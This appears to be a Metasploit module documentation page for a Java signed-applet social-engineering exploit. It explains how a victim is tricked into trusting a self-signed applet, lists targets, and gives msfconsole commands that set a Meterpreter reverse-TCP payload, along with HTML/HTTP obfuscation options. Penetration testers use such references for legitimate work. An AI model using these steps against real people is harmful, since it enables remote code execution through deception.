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Java Signed Applet Social Engineering Code Execution

This exploit dynamically creates a .jar file via the Msf::Exploit::Java mixin, then signs the it. The resulting signed applet is presented to the victim via a web page with an applet tag. The victim's JVM will pop a dialog asking if they trust the signed applet. On older versions the dialog will display the value of CERTCN in the "Publisher" line. Newer JVMs display "UNKNOWN" when the signature is not trusted (i.e., it's not signed by a trusted CA). The SigningCert option allows you to provide a trusted code signing cert, the values in which will override CERTCN. If SigningCert is not given, a randomly generated self-signed cert will be used. Either way, once the user clicks "run", the applet executes with full user permissions.


Rank

  • Excellent

Authors

  • natron < natron [at] metasploit.com >

References


Exploit Targets

  • 0 - Generic (Java Payload)
  • 1 - Windows x86 (Native Payload) (default)
  • 2 - Linux x86 (Native Payload)
  • 3 - Mac OS X PPC (Native Payload)
  • 4 - Mac OS X x86 (Native Payload)

Development


Similar Modules


Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/multi/browser/java_signed_applet
msf exploit(java_signed_applet) > show payloads
msf exploit(java_signed_applet) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(java_signed_applet) > set LHOST [MY IP ADDRESS]
msf exploit(java_signed_applet) > exploit


Module Options

APPLETNAME The main applet's class name. (default: SiteLoader)
CERTCN The CN= value for the certificate. Cannot contain ',' or '/' (default: SiteLoader)
SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The local port to listen on. (default: 8080)
SSL Negotiate SSL for incoming connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
SigningCert Path to a signing certificate in PEM or PKCS12 (.pfx) format
SigningKey Path to a signing key in PEM format
SigningKeyPass Password for signing key (required if SigningCert is a .pfx)
URIPATH The URI to use for this exploit (default is random)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EXE::Custom Use custom exe instead of automatically generating a payload exe
EXE::FallBack Use the default template in case the specified one is missing
EXE::Inject Set to preserve the original EXE function
EXE::OldMethod Set to use the substitution EXE generation method.
EXE::Path The directory in which to look for the executable template
EXE::Template The executable template file name.
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
HTML::base64 Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding Enable folding of HTTP headers
HTTP::junk_headers Enable insertion of random junk HTTP headers
HTTP::server_name Configures the Server header of all outgoing replies
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)